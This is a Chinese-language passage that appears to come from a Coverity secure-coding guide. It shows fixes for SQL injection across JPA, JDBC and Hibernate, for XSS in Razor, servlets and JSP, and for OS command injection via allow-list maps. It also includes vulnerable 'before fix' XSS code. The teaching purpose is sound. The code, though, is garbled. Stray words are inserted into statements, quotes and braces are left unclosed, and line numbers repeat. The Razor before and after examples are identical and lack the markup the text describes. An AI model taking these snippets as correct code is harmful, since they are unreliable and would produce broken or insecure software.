下面的示例直接将一系列被污染的数据绑定到已命名参数。

#### SomeDAO.java

```
17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
[...]

59 try {
60 Query query = entityManager.createQuery("SELECT p
 FROM Person p WHERE p.name IN (:state)");
61 query.setParameter("state", taintedList);
```

安全问题的发展：

- SomeDAO.java (17)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (32-33)：使用被污染的数据填充了 ArrayList。
- SomeDAO.java (60-61)：被污染的列表被传递给 JPA setParameter() 方法，并被绑定到 state 已命名参数。

### 6.6.1.10. SQL IN 子句 : JPA 本机查询

下面的示例使用 helper 方法基于某些列表生成 SQL 片段。然后将该片段连接到 SQL 语句。

#### SQLUtils.java

```
11 public static String generateSqlInFragmentJpa(List<String> taintedList) {
12 StringBuilder params = new StringBuilder(taintedList.size()*4);
13 for (int i=0; i < taintedList.size(); i++) {
14 params.append("?" + Integer.toString(i + 1));
15 if (i < taintedList.size() - 1)
16 params.append(",");
17 }
18 return params.toString();
20 }
```

#### SomeDAO.java

```
17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
```

```
33 taintedList.add(userInput);
[...]

58 String paramQuery = "SELECT * FROM table WHERE column IN (
+ SQLUtils.generateSqlInFragmentJpa(taintedList) + ")";
59 try {
60 Query query = entityManager.createNativeQuery(paramQuery);
61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext();)
{
62 query.setParameter(id.nextInt() + 1, id.next());
63 }
```

安全问题的发展：

- `SQLUtils.java (11)`：此函数接受 `List`。它创建了一个由用于 `List` 每个成员的模式 `?1,?2, ...?` 组成的 `StringBuffer`。JPA 位置参数需要在问号后面接一个数字，从 1 开始。
- `SomeDAO.java (17)`：将被污染的值 `userInput` 传递给了方法。
- `SomeDAO.java (32-33)`：使用被污染的数据填充了 `ArrayList`。
- `SomeDAO.java (58)`：将被污染的列表传递给了 `helper` 函数，这会将返回的片段连接到 SQL 语句。
- `SomeDAO.java (61-62)`：通过索引（JPA 位置参数从 1 开始）和传递给 `setParameter()` 方法的值对被污染的列表进行迭代。

### 6.6.1.11. SQL 字符串 : JDBC

下面的示例使用了参数化语句将被污染的数据绑定到语句内的参数。

#### `SomeDAO.java`

```
73 public List<Order> getOrdersByName(final String userInput) {
[...]
83 String paramQuery = "SELECT * FROM table WHERE name = ?";
84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
85 prepStmt.setString(1, userInput);
86 prepStmt.executeQuery();
```

安全问题的发展：

- `SomeDAO.java (73)`：将被污染的值 `userInput` 传递给了方法。
- `SomeDAO.java (83)`：语句已被参数化。
- `SomeDAO.java (85)`：将被污染的值绑定到语句内的位置参数（会被 JDBC 驱动程序自动转义）。JDBC 位置参数从 1 开始。

### 6.6.1.12. SQL 字符串 : HQL

下面的示例使用了参数化语句将被污染的数据绑定到语句内的参数。

### SomeDAO.java

```
73 public List<Person> getPeopleByState(final String userInput) {
[...]
83 Query query =
84 sess.createQuery("from Person person where person.state = :state");
84 query.setParameter("state", userInput);
[...]
```

安全问题的发展：

- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (83)：语句已被参数化。
- SomeDAO.java (84)：将被污染的值绑定到语句内的已命名参数（会被自动转义）。

#### 6.6.1.13. SQL 字符串：Hibernate 本机查询

下面的示例使用了参数化语句将被污染的数据绑定到语句内的参数。

### SomeDAO.java

```
73 public List<Order> getOrdersByName(final String userInput) {
81
82 try {
83 SQLQuery query = sess.createSQLQuery("SELECT
84 * FROM table WHERE column = ?");
84 query.setParameter(0, userInput);
[...]
```

安全问题的发展：

- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (83)：语句已被参数化。
- SomeDAO.java (84)：将被污染的值绑定到语句内的位置参数（会被自动转义）。Hibernate 位置参数从 0 开始。

#### 6.6.1.14. SQL 字符串：JPQL

下面的示例使用了参数化语句将被污染的数据绑定到语句内的参数。

### SomeDAO.java

```
73 public List<Person> getPeopleByState(final String userInput) {
81
```

```
82 try {
83 Query query = entityManager.createQuery("SELECT p
84 FROM Person p WHERE p.state = :state";
85 query.setParameter("state", userInput);
[...]
```

### 安全问题的发展：

- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (83)：语句已被参数化。
- SomeDAO.java (84)：将被污染的值绑定到语句内的已命名参数（会被自动转义）。

### 6.6.1.15. SQL 字符串：JPA 本机查询

下面的示例使用了参数化语句将被污染的数据绑定到语句内的参数。

#### SomeDAO.java

```
73 public List<Person> getPeopleByState(final String userInput) {
81
82 try {
83 Query query = entityManager.createNativeQuery("SELECT *
84 FROM table WHERE column = ?1");
85 query.setParameter(1, userInput);
[...]
```

### 安全问题的发展：

- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (83)：语句已被参数化。
- SomeDAO.java (84)：将被污染的值绑定到语句内的位置参数（会被自动转义）。JPA 位置参数需要在问号后面接一个数字，从 1 开始。

### 6.6.1.16. SQL LIKE 字符串：JDBC

下面的示例使用了参数化语句，并使用 Coverity 转义函数对被绑定到 SQL LIKE 子句的字符串进行转义，然后将该值绑定到语句内的参数。

#### SomeDAO.java

```
5 import com.coverity.security.Escape;
[...]
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 String paramQuery = "SELECT
```

```
86 * FROM table WHERE column LIKE ? {escape '@'}";
87 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
88 prepStmt.setString(1, likeEscapedTainted);
89 prepStmt.executeQuery();
[...]
```

### 安全问题的发展：

- SomeDAO.java (5)：导入了 Coverity 转义库（请参阅Section 6.4.25，“净化器 (Sanitizer)”）。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (84)：Escape.sqlLikeClause() 方法使用 at 符号（@，U+0040）对被污染的值中的百分号（%，U+0025）和下划线（\_，U+005F）进行转义。虽然可以使用任意字符，但应该避免使用反斜杠（\，U+005C）。请注意，此转义函数并不能防止 SQL 注入缺陷。它通过仅转义 LIKE 子句中具有特殊含义的字符来保留 LIKE 查询的含义。
- SomeDAO.java (85)：语句已被参数化。此外，还使用了 escape 关键字，它会通知 JDBC，字符串内的 % 和 \_ 值如带有 @ 前缀（例如 @\_），会被视为已转义。
- SomeDAO.java (87)：将被污染的值绑定到语句内的位置参数（会被 JDBC 驱动程序自动转义）。JDBC 位置参数从 1 开始。

#### 6.6.1.17. SQL LIKE 字符串 : HQL

下面的示例使用了参数化语句，并使用 Coverity 转义函数对被绑定到 SQL LIKE 子句的字符串进行转义，然后将该值绑定到语句内的参数。

##### SomeDAO.java

```
5 import com.coverity.security.Escape;
[...]
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 Query query = sess.createQuery("from Person person
86 where person.state like :state escape '@'");
87 query.setParameter("state", likeEscapedTainted);
[...]
```

### 安全问题的发展：

- SomeDAO.java (5)：导入了 Coverity 转义库（请参阅Section 6.4.25，“净化器 (Sanitizer)”）。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (84)：Escape.sqlLikeClause() 方法使用 at 符号（@，U+0040）对被污染的值中的百分号（%，U+0025）和下划线（\_，U+005F）进行转义。虽然可以使用任意字符，但应该避免使用反斜杠（\，U+005C）。请注意，此转义函数并不能防止 SQL 注入缺陷。它通过仅转义 LIKE 子句中具有特殊含义的字符来保留 LIKE 查询的含义。

- SomeDAO.java (85) : 语句已被参数化。此外，还使用了 escape 关键字，它会通知 Hibernate（版本 3 及更高版本），字符串内的 % 和 \_ 如带有 @ 前缀（例如 @\_），会被视为已转义。
- SomeDAO.java (86) : 将被污染的值绑定到语句内的已命名参数（会被自动转义）。

### 6.6.1.18. SQL LIKE 字符串 : Hibernate 本机查询

下面的示例使用了参数化语句，并使用 Coverity 转义函数对被绑定到 SQL LIKE 子句的字符串进行转义，然后将该值绑定到语句内的参数。

#### SomeDAO.java

```
5 import com.coverity.security.Escape;
[...]
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 SQLQuery query = sess.createSQLQuery("SELECT
86 * from person where person.state like ? escape '@'");
87 query.setParameter(0, likeEscapedTainted);
[...]
```

安全问题的发展：

- SomeDAO.java (5) : 导入了 Coverity 转义库（请参阅Section 6.4.25，“净化器 (Sanitizer)”）。
- SomeDAO.java (73) : 将被污染的值 userInput 传递给了方法。
- SomeDAO.java (84) : Escape.sqlLikeClause() 方法使用 at 符号（@，U+0040）对被污染的值中的百分号（%，U+0025）和下划线（\_，U+005F）进行转义。虽然可以使用任意字符，但应该避免使用反斜杠（\，U+005C）。请注意，此转义函数并不能防止 SQL 注入缺陷。它通过仅转义 LIKE 子句中具有特殊含义的字符来保留 LIKE 查询的含义。
- SomeDAO.java (85) : 语句已被参数化。此外，还使用了 escape 关键字，它会通知 Hibernate（版本 3 及更高版本），字符串内的 % 和 \_ 如带有 @ 前缀（例如 @\_），会被视为已转义。
- SomeDAO.java (86) : 将被污染的值绑定到语句内的位置参数（会被自动转义）。Hibernate 位置参数从 0 开始。

### 6.6.1.19. SQL LIKE 字符串 : JPQL

下面的示例使用了参数化语句，并使用 Coverity 转义函数对被绑定到 SQL LIKE 子句的字符串进行转义，然后将该值绑定到语句内的参数。

#### SomeDAO.java

```
5 import com.coverity.security.Escape;
73 public List<Person> getPeopleLike(final String userInput) {
[...]
```

```
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 Query query = sess.createQuery("from Person person
86 where person.state like :state escape '@'";
86 query.setParameter("state", likeEscapedTainted);
[...]
```

安全问题的发展：

- SomeDAO.java (5)：导入了 Coverity 转义库（请参阅Section 6.4.25，“净化器 (Sanitizer)”）。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (84)：Escape.sqlLikeClause() 方法使用 at 符号（@，U+0040）对被污染的值中的百分号（%，U+0025）和下划线（\_，U+005F）进行转义。虽然可以使用任意字符，但应该避免使用反斜杠（\，U+005C）。请注意，此转义函数并不能防止 SQL 注入缺陷。它通过仅转义 LIKE 子句中具有特殊含义的字符来保留 LIKE 查询的含义。
- SomeDAO.java (85)：语句已被参数化。此外，还使用了 escape 关键字，它会通知 Hibernate（版本 3 及更高版本），字符串内的 % 和 \_ 如带有 @ 前缀（例如 @\_），会被视为已转义。
- SomeDAO.java (86)：将被污染的值绑定到语句内的位置参数（会被自动转义）。Hibernate 位置参数从 0 开始。

### 6.6.1.20. SQL LIKE 字符串：JPA 本机查询

下面的示例使用了参数化语句，并使用 Coverity 转义函数对被绑定到 SQL LIKE 子句的字符串进行转义，然后将该值绑定到语句内的参数。

SomeDAO.java

```
5 import com.coverity.security.Escape;
[...]
73 public List<People> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 Query query = entityManager.createNativeQuery("SELECT *
86 FROM person WHERE person.state LIKE ?1 escape '@'";
86 query.setParameter(1, likeEscapedTainted);
[...]
```

安全问题的发展：

- SomeDAO.java (5)：导入了 Coverity 转义库（请参阅Section 6.4.25，“净化器 (Sanitizer)”）。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (84)：Escape.sqlLikeClause() 方法使用 at 符号（@，U+0040）对被污染的值中的百分号（%，U+0025）和下划线（\_，U+005F）进行转义。虽然可以使用任意字符，但应该避免使用反斜杠（\，U+005C）。请注意，此转义函数并不能防止 SQL 注入缺陷。它通过仅转义 LIKE 子句中具有特殊含义的字符来保留 LIKE 查询的含义。

- SomeDAO.java (85) : 语句已被参数化。此外，还使用了 `escape` 关键字，它会通知 JPA，字符串内的 `%` 和 `_` 如带有 `@` 前缀（例如 `@_`），会被视为已转义。
- SomeDAO.java (86) : 将被污染的值绑定到语句内的位置参数（会被自动转义）。JPA 位置参数需要在问号后面接一个数字，从 1 开始。

### 6.6.1.21. SQL 表名称 : JDBC

下面的示例使用通过 `HashMap` 进行的间接引用来添加应用程序使用的 SQL 表格和列。

#### Constants.java

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("CONTRACTOR", "tbVendors.ID");
11 m.put("HR", "tbHR1.ID");
12 //...
13 return Collections.unmodifiableMap(m);
14 }
15}
```

#### SomeDAO.java

```
73 public List<People> getAllPeopleFrom(final String userInput) {
74 [...]
75 String untainted = Constants.SQL.get(userInput);
76 if (untainted != null) {
77 String paramQuery = "SELECT * FROM " + untainted;
78 PreparedStatement prepStmt =
79 connection.prepareStatement(paramQuery);
80 prepStmt.executeQuery();
81 } else {
82 // log event as potential security tampering...
83 }
84 }
```

安全问题的发展：

- Constants.java (10-11) : 向 `HashMap` 中添加了一系列常用 SQL 表格。
- SomeDAO.java (73) : 将被污染的值 `userInput` 传递给了方法。
- SomeDAO.java (80-83) : 如果用户提供诸如 `HR` 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

### 6.6.1.22. SQL 表名称 : HQL

下面的示例使用通过 `HashMap` 进行的间接引用来添加应用程序使用的 SQL 表格和列。

### Constants.java

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "Orders table");
11 m.put("legacyOrders", "LegacyOrders table");
12 //...
13 return Collections.unmodifiableMap(m);
14 }
15}
```

### SomeDAO.java

```
73 public List<People> getAllOrdersFrom(final String userInput) {
74 [...]
75 String untainted = Constants.SQL.get(userInput);
76 if (untainted != null) {
77
78 Query query = sess.createQuery("from " +
79 untainted + " order by table.item asc");
80 }
81 } else {
82 // log event as potential security tampering...
83 }
```

安全问题的发展：

- Constants.java (10-11)：向 HashMap 中添加了一系列常用 SQL 表格。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80-83)：如果用户提供诸如 legacyOrders 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

#### 6.6.1.23. SQL 表名称：Hibernate 本机查询

下面的示例使用通过 HashMap 进行的间接引用来添加应用程序使用的 SQL 标识符。

### Constants.java

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "orders");
11 m.put("legacyOrders", "legacy_orders");
12 }
13}
```

```
12 // ..
13 return Collections.unmodifiableMap(m);
[...]
```

### SomeDAO.java

```
73 public List<People> getAllOrdersFrom(final String userInput) {
[...]
80 String untainted = Constants.SQL.get(userInput);
81 if (untainted != null) {
82
83 SQLQuery query = sess.createSQLQuery("SELECT
84 * FROM " + untainted + " ORDER BY user ASC");
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

安全问题的发展：

- Constants.java (10-11)：向 HashMap 中添加了一系列常用 SQL 表格。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80-83)：如果用户提供诸如 newOrders 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

#### 6.6.1.24. SQL 表名称：JPQL

下面的示例使用通过 HashMap 进行的间接引用添加应用程序使用的 SQL 标识符。

### Constants.java

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "Orders o");
11 m.put("legacyOrders", "LegacyOrders o");
12 //...
13 return Collections.unmodifiableMap(m);
[...]
```

### SomeDAO.java

```
73 public List<People> getAllOrdersFrom(final String userInput) {
[...]
80 String untainted = Constants.SQL.get(userInput);
```

```
81 if (untainted != null) {
82
83 Query query = entityManager.createQuery("SELECT o FROM "
84 + untainted + " ORDER BY o.item ASC");
85
86 } else {
87 // log event as potential security tampering...
88 }
89 }
```

安全问题的发展：

- Constants.java (10-11)：向 HashMap 中添加了一系列常用 SQL 语句片段。
- SomeDAO.java (73)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80-83)：如果用户提供诸如 newOrders 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

### 6.6.1.25. SQL 表名称：JPA 本机查询

下面的示例使用通过 HashMap 进行的间接引用来自动生成使用的 SQL 标识符。

#### Constants.java

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "orders");
11 m.put("legacyOrders", "legacy_orders");
12 // ..
13 return Collections.unmodifiableMap(m);
14 }
15 }
```

#### SomeDAO.java

```
73 public List<People> getAllOrdersFrom(final String userInput) {
74
75 String untainted = Constants.SQL.get(userInput);
76 if (untainted != null) {
77
78 Query query = entityManager.createNativeQuery("SELECT * FROM "
79 + untainted + " ORDER BY user ASC");
80
81 } else {
82 // log event as potential security tampering...
83 }
84 }
```

安全问题的发展：

- Constants.java (10) : 向 HashMap 中添加了一系列常用 SQL 语句片段。
- SomeDAO.java (73) : 将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80-83) : 如果用户提供诸如 newOrders 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

## 6.6.2. XSS 修复示例

### 6.6.2.1. XSS 示例 : ASP.NET Razor 视图

下面的示例显示了修复前以及修复后的 XSS 缺陷。当使用在请求参数（之后显示在 HTML 属性内）中显示不安全数据的 ASP.NET Razor 视图时，就会发生该缺陷。

修复前 : `example.cshtml`

```
@{
 String needHelp = Request["needHelp"];
}
Hello
```

修复后 : `example.cshtml`

```
@{
 String needHelp = Request["needHelp"];
}
Hello
```

安全问题的发展 :

- 事件 1 : 从 HTTP 请求获取了参数 needHelp。此值会一直被视为已污染，直至其得到适当的净化。
- 事件 2 : `Html.Raw` 方法将该值转换为 `IHtmlString`（不会被 Razor 引擎自动转义）。
- 事件 3 : 该值被“内联”到双引号引起的 `onmouseover` HTML 标记属性中单引号引起的 Javascript 字符串中。修复后，结合使用 `Coverity Escape.Html()` 和 `Escape.JsString()` 方法对该值进行了转义。此操作针对 HTML 双引号引起的属性上下文和嵌套的 JavaScript 单引号引起的字符串上下文正确转义了该值，从而修复了 XSS 缺陷。

### 6.6.2.2. XSS 修复示例 : Java Servlet

下面的示例显示了修复前以及修复后的 XSS 缺陷。当 Java Servlet 将被污染的数据直接写入响应（之后显示在 HTML 上下文内）时，其中就会发生该缺陷。

修复前 : `IndexServlet.java`

```
8 public class IndexServlet extends HttpServlet {
9
```

```
10 protected void doGet(HttpServletRequest request, HttpServletResponse response)
11 throws ServletException, IOException {
12
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");
17 out.write("<html><body>Index requested: " + param);
18 out.write("...");
```

### 修复后：IndexServlet.java

```
7 import com.coverity.security.Escape;
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request, HttpServletResponse response)
11 throws ServletException, IOException {
12
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");
17 out.write("<html><body>Index requested: " + Escape.html(param));
18 out.write("...");
```

### 安全问题的发展：

1. IndexServlet.java (13) 修复前：从 HTTP 请求中获取了参数 index。此值会一直被视为不安全，直至其得到适当的净化。
2. IndexServlet.java (17) 修复前：该值显示在 HTML 上下文内，导致了初始缺陷。
3. IndexServlet.java (7) 修复后：导入了 Coverity 转义函数 Escape。
4. IndexServlet.java (17) 修复后：使用 Escape.html() 方法对该值进行了转义。此操作针对 HTML 上下文正确转义了该值，从而修复了 XSS 缺陷。

### 6.6.2.3. XSS 修复示例：JavaServer Page

下面的示例显示了修复前以及修复后的 XSS 缺陷。当使用在请求参数（之后显示在 HTML 属性内）中显示不安全数据的 JavaServer Page 时，就会发生该缺陷。

#### 修复前：bloghelp.jsp：

```
1 <%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
2
3 <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
4 <%
5 String needHelp = request.getParameter("needHelp");
6 if (needHelp == null || needHelp == "")
7 needHelp = "none";
```

```
8 %>
9 <!DOCTYPE html>
10 <html>
11 <head>
12 <script src="/webApp/static/js/main.js"></script>
13 </head>
14 <body>
15
16 <span onmouseover="lookupHelp('<%= needHelp
17 %>');">Hello Blogger!
18 To add a blog, please navigate to ...
19
```

修复后：bloghelp.jsp：

```
1 <%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
2 <%@ page import="com.coverity.security.Escape" %>
3 <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
4 <%
5 String needHelp = request.getParameter("needHelp");
6 if (needHelp == null || needHelp == "")
7 needHelp = "none";
8 %>
9 <!DOCTYPE html>
10 <html>
11 <head>
12 <script src="/webApp/static/js/main.js"></script>
13 </head>
14 <body>
15
16 <span onmouseover="lookupHelp('<%= Escape.html(Escape.jsString(needHelp))
17 %>');">Hello Blogger!
18 To add a blog, please navigate to ...
19
```

安全问题的发展：

1. bloghelp.jsp (5) 修复前：从 HTTP 请求中获取了参数 needHelp。此值会一直被视为已污染，直至其得到适当的净化。
2. bloghelp.jsp (2) 修复后：导入了 Coverity 转义函数 Escape。
3. bloghelp.jsp (16) 修复后：结合使用 Coverity Escape.html() 和 Escape.jsString() 方法对该值进行了转义。此操作针对 HTML 双引号引起的属性上下文和嵌套的 JavaScript 单引号引起的字符串上下文正确转义了该值，从而修复了 XSS 缺陷。

### 6.6.3. 操作系统命令注入代码示例

### 6.6.3.1. 操作系统命令注入命令被污染 : Runtime.exec

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量命令名称。

#### CommandConstants.java

```
11 public class CommandConstants {
...
15 public static final Map<String, String> COMMANDS =
 initializeDifferentCommands();
...
56 private static Map<String, String> initializeDifferentCommands() {
57 Map<String, String> m = new HashMap<String, String>();
58 m.put("commandOne", "/usr/bin/commandone");
59 m.put("commandTwo", "/usr/local/sbin/commandtwo");
60 // ...
61 return java.util.Collections.unmodifiableMap(m);
62 }
```

#### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
201 private void runCommand(String commandName, PrintWriter out)
202 throws RuntimeException {
203
204 try {
205 String untaintedCommand = CommandConstants.COMMANDS.get(commandName);
206 if (untaintedCommand != null) {
207 String[] untaintedArray = new String[] {untaintedCommand,
208 "-c", "-f", "output.txt"};
209 Process proc = Runtime.getRuntime().exec(untaintedArray)
210 }
211 }
212 }
213 }
```

安全问题的发展 :

- CommandConstants.java (15) : 创建了从用户密钥到命令的映射。
- CommandServlet.java (201) : 将被污染的值 commandName 传递给了方法。
- CommandServlet.java (206) : 根据映射检查被污染的值。如果被污染的值等于密钥 (例如 commandOne ) , 则会返回常量值。
- CommandServlet.java (209) : 静态数组中包含未被污染的值。
- CommandServlet.java (211) : 将静态数组传递给了 Runtime.exec(String[]) 。

### 6.6.3.2. 操作系统命令注入命令被污染 : ProcessBuilder

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量命令名称。

**CommandConstants.java**

```
11 public class CommandConstants {
...
15 public static final Map<String, String> COMMANDS =
initializeDifferentCommands();

56 private static Map<String, String> initializeDifferentCommands() {
57 Map<String, String> m = new HashMap<String, String>();
58 m.put("commandOne", "/usr/bin/commandone");
59 m.put("commandTwo", "/usr/local/sbin/commandtwo");
60 // ...
61 return java.util.Collections.unmodifiableMap(m);
62 }
}
```

**CommandServlet.java**

```
12 public class CommandServlet extends HttpServlet {
...
234 private void runCommand(String commandName, PrintWriter out)
235 throws RuntimeException {
236
237 try {tainted command
238
239 String untaintedCommand = CommandConstants.COMMANDS.get(commandName);
240 if (untaintedCommand != null) {
241
242 String[] untaintedArray = new String[] {untaintedCommand,
" -c ", " -f ", " output.txt "};
243
244 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
245 Process proc = pb.start();
}
```

安全问题的发展：

- CommandConstants.java (15)：创建了从用户密钥到命令的映射。
- CommandServlet.java (234)：将被污染的值 commandName 传递给了方法。
- CommandServlet.java (239)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 commandOne），则会返回常量值。
- CommandServlet.java (242)：静态数组中包含未被污染的值。
- CommandServlet.java (244)：将静态数组传递给了 ProcessBuilder (String... )。

#### 6.6.3.3. 操作系统命令注入命令完全被污染：Runtime.exec

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量命令名称和参数。

**CommandConstants.java**

```
11 public class CommandConstants {
...
16 public static final Map<String, String[]> FULL_COMMANDS =
 initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--
output",
 "out.txt"});
54 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v",
"-V",
 "--print-errors"});
55 // ...
56 return java.util.Collections.unmodifiableMap(m);
57 }
```

### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
269 private void runCommandFully(String commandName, PrintWriter out)
 throws RuntimeException {
270
271 try {
272 String[] untaintedArray =
CommandConstants.FULL_COMMANDS.get(commandName);
275 if (untaintedArray != null) {
276 Process proc = Runtime.getRuntime().exec(untaintedArray);
277 }
278 } catch (IOException e) {
279 throw new RuntimeException(e);
280 }
281 }
282 }
```

安全问题的发展：

- CommandConstants.java (16)：创建了从用户密钥到命令的映射。
- CommandServlet.java (269)：将被污染的值 commandName 传递给了方法。
- CommandServlet.java (274)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 commandOne），则会返回静态数组。
- CommandServlet.java (277)：将静态数组传递给了 Runtime.exec(untainted command(String[]))。

#### 6.6.3.4. 操作系统命令注入命令完全被污染：ProcessBuilder

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量命令名称和参数。

### CommandConstants.java

```
11 public class CommandConstants {
...
16 public static final Map<String, String[]> FULL_COMMANDS =
 initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--
output",
 "out.txt"});
54 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v",
"-V",
 "--print-errors"});
55 // ...
56 return java.util.Collections.unmodifiableMap(m);
57 }
```

```
16 public static final Map<String, String[]> FULL_COMMANDS =
17 initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--output",
54 "out.txt"});
55 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v",
56 "-V",
57 "--print-errors"});
58 // ...
59 return java.util.Collections.unmodifiableMap(m);
60 }
```

### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
300 private void runCommandFully(String commandName,
301 PrintWriter out)
302 throws RuntimeException {
303 try {
304 String[] untaintedArray =
305 CommandConstants.FULL_COMMANDS.get(commandName);
306 if (untaintedArray != null) {
307 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
308 Process proc = pb.start();
309 }
310 }
```

安全问题的发展：

- CommandConstants.java (16)：创建了从用户密钥到命令的映射。
- CommandServlet.java (300)：将被污染的值 commandName 传递给了方法。
- CommandServlet.java (305)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 commandOne），则会返回静态数组。
- CommandServlet.java (308)：将静态数组传递给了 ProcessBuilder(String...)。

#### 6.6.3.5. 操作系统命令注入不安全：Runtime.exec

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量命令被污染的命令名称和参数。

### CommandConstants.java

```
11 public class CommandConstants {
12
13 public static final Map<String, String> BASH_ARGS = initializeBashList();
```

```
...
16
17 private static Map<String, String> initializeBashList() {
18 Map<String, String> m = new HashMap<String, String>();
19 m.put("all", "ls -l *");
20 m.put("logfile", "ls foo.log");
21 // ...
22 return java.util.Collections.unmodifiableMap(m);
23 }
```

### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
103 private void listFile(String outputFile, PrintWriter out)
104 throws RuntimeException {
105
106 try {
107
108 String untaintedArg = CommandConstants.BASH_ARGS.get(outputFile);
109 if (untaintedArg != null) {
110
111 String[] untaintedArray = new String[] {"/bin/bash", "-c",
untaintedArg};
112 Process proc = Runtime.getRuntime().tainted
command.exec(untaintedArray);

```

安全问题的发展：

- CommandConstants.java (13)：创建了从用户密钥到命令的映射。
- CommandServlet.java (103)：将被污染的值 outputFile 传递给了方法。
- CommandServlet.java (108)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 all），则会返回常量值。
- CommandServlet.java (111)：静态数组中包含未被污染的值。
- CommandServlet.java (112)：将静态数组传递给了 Runtime.exec(String[])。

#### 6.6.3.6. 操作系统命令注入不安全：ProcessBuilder

下面的示例使用通过 HashMap 进行的间接引用直接对应用程序使用静态命令。

### CommandConstants.java

```
11 public class CommandConstants {
...
14 public static final Map<String, String> FIND_ARGS = initializeFindList();
...
25 private static Map<String, String> initializeFindList() {
26 Map<String, String> m = new HashMap<String, String>();
```

```
27 m.put("alllogs", "*.*.log");
28 m.put("allreports", "report-*.*.txt");
29 // ...
30 }
 return java.util.Collections.unmodifiableMap(m);
31 }
